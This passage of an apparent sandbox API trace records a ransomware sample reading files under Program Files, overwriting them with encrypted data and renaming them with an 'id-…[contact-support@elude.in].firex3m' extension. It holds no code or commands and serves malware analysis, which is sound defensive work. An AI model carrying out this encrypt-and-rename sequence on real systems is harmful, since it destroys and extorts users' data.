dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0235.213] GetProcessHeap () returned 0x630000 [0235.213] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x98c1) returned 0x712f718 [0235.213] GetProcessHeap () returned 0x630000 [0235.213] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x98c1) returned 0x73c8410 [0235.213] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.213] ReadFile (in: hFile=0x3f8, lpBuffer=0x712f718, nNumberOfBytesToRead=0x98a0, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x712f718*, lpNumberOfBytesRead=0x323ff0c*=0x98a0, lpOverlapped=0x0) returned 1 [0241.502] GetProcessHeap () returned 0x630000 [0241.502] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745af50 [0241.502] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.502] WriteFile (in: hFile=0x3f8, lpBuffer=0x73c8410*, nNumberOfBytesToWrite=0x98a0, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73c8410*, lpNumberOfBytesWritten=0x323ff0c*=0x98a0, lpOverlapped=0x0) returned 1 [0241.503] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.503] WriteFile (in: hFile=0x3f8, lpBuffer=0x73d1caf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d1caf*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0241.503] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.503] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0241.503] CloseHandle (hObject=0x3f8) returned 1 [0241.503] GetProcessHeap () returned 0x630000 [0241.503] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73c8410 | out: hHeap=0x630000) returned 1 [0241.503] GetProcessHeap () returned 0x630000 [0241.503] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x712f718 | out: hHeap=0x630000) returned 1 [0241.503] GetProcessHeap () returned 0x630000 [0241.503] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745af50 | out: hHeap=0x630000) returned 1 [0241.503] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0241.503] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x55e5edd3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x98d7, dwReserved0=0xc0c7496, dwReserved1=0x712f710, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5580 [0241.504] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0241.504] Sleep (dwMilliseconds=0x1) [0243.046] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\FoodAndDrink.xml", len=0x9f | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\FoodAndDrink.xml") returned 1 [0243.046] GetProcessHeap () returned 0x630000 [0243.046] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5498) returned 0x6fe3bb0 [0243.046] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\FoodAndDrink.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\foodanddrink\\foodanddrink.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.048] Sleep (dwMilliseconds=0x1) [0243.069] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-48.png", len=0x81 | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-48.png") returned 1 [0243.069] GetProcessHeap () returned 0x630000 [0243.069] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5454) returned 0x6fe3bb0 [0243.070] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\money_logosmall.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.070] Sleep (dwMilliseconds=0x1) [0243.087] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_LogoSmall.scale-100.png", len=0x8c | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_LogoSmall.scale-100.png") returned 1 [0243.087] GetProcessHeap () returned 0x630000 [0243.087] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5414) returned 0x6fe3bb0 [0243.087] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_LogoSmall.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\money_logosmall.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.087] Sleep (dwMilliseconds=0x1) [0243.102] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x6b | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0243.102] GetProcessHeap () returned 0x630000 [0243.102] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53e8) returned 0x6fe3bb0 [0243.102] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.117] Sleep (dwMilliseconds=0x1) [0243.148] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxManifest.xml", len=0x67 | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxManifest.xml") returned 1 [0243.148] GetProcessHeap () returned 0x630000 [0243.148] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5370) returned 0x6fe3bb0 [0243.148] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.159] Sleep (dwMilliseconds=0x1) [0244.249] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml", len=0x64 | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml") returned 1 [0244.249] GetProcessHeap () returned 0x630000 [0244.249] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f70) returned 0x6fe3bb0 [0244.249] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\marketconfiguration.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.250] Sleep (dwMilliseconds=0x1) [0246.015] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBCN6.CHM", len=0x6b | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBCN6.CHM") returned 1 [0246.015] GetProcessHeap () returned 0x630000 [0246.015] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e48) returned 0x6fe3bb0 [0246.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0246.043] CloseHandle (hObject=0x4e4) returned 1 [0246.043] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0246.043] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbcn6.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBCN6.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbcn6.chm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0246.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0246.044] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBCN6.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc9b50c1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc9b50c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9b50c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a40b, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="VBCN6.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VBCN6C~1.FIR")) returned 0x6d52c0 [0246.044] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0246.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBCN6.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbcn6.chm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0246.044] GetProcessHeap () returned 0x630000 [0246.044] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x733a380 [0246.044] GetProcessHeap () returned 0x630000 [0246.044] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73457b0 [0246.044] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.044] ReadFile (in: hFile=0x4e4, lpBuffer=0x733a380, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x733a380*, lpNumberOfBytesRead=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.649] GetProcessHeap () returned 0x630000 [0253.649] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0253.649] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.649] WriteFile (in: hFile=0x4e4, lpBuffer=0x73457b0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73457b0*, lpNumberOfBytesWritten=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.649] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.650] WriteFile (in: hFile=0x4e4, lpBuffer=0x7350baf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7350baf*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0253.650] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.650] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0253.650] CloseHandle (hObject=0x4e4) returned 1 [0253.650] GetProcessHeap () returned 0x630000 [0253.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73457b0 | out: hHeap=0x630000) returned 1 [0253.650] GetProcessHeap () returned 0x630000 [0253.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x733a380 | out: hHeap=0x630000) returned 1 [0253.650] GetProcessHeap () returned 0x630000 [0253.650] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0254.424] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.424] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBCN6.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc9b50c1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc9b50c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d230e5f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1a42f, dwReserved0=0xc0c7496, dwReserved1=0x733a378, cFileName="VBCN6.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VBCN6C~1.FIR")) returned 0x6d53c0 [0254.424] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0254.424] Sleep (dwMilliseconds=0x1) [0254.441] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileSmallSquare.scale-100.png", len=0xa7 | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileSmallSquare.scale-100.png") returned 1 [0254.441] GetProcessHeap () returned 0x630000 [0254.441] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e2c) returned 0x6fe3bb0 [0254.442] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileSmallSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_tilesmallsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.442] Sleep (dwMilliseconds=0x1) [0254.455] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt", len=0x63 | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt") returned 1 [0254.456] GetProcessHeap () returned 0x630000 [0254.456] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4df8) returned 0x6fe3bb0 [0254.456] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\index.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.157] Sleep (dwMilliseconds=0x1) [0261.088] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", len=0x60 | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned 1 [0261.088] GetProcessHeap () returned 0x630000 [0261.088] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cac) returned 0x6fe3bb0 [0261.089] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.125] Sleep (dwMilliseconds=0x1) [0261.203] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\COMPASS.INF", len=0x6e | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\COMPASS.INF") returned 1 [0261.203] GetProcessHeap () returned 0x630000 [0261.203] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c6c) returned 0x6fe3bb0 [0261.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\compass.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0261.308] CloseHandle (hObject=0x6d4) returned 1 [0261.308] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.308] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\compass.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\COMPASS.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\compass.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.376] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.376] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\COMPASS.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="COMPASS.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="COMPAS~1.FIR")) returned 0x6d5440 [0261.383] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0261.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\COMPASS.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\compass.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0261.420] GetProcessHeap () returned 0x630000 [0261.420] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d0728 [0261.420] GetProcessHeap () returned 0x630000 [0261.420] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d2558 [0261.420] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.420] ReadFile (in: hFile=0x6c0, lpBuffer=0x6d0728, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d0728*, lpNumberOfBytesRead=0x323ff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0261.423] GetProcessHeap () returned 0x630000 [0261.423] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0261.423] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.423] WriteFile (in: hFile=0x6c0, lpBuffer=0x6d2558*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d2558*, lpNumberOfBytesWritten=0x323ff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0261.423] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.423] WriteFile (in: hFile=0x6c0, lpBuffer=0x6d2737*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d2737*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 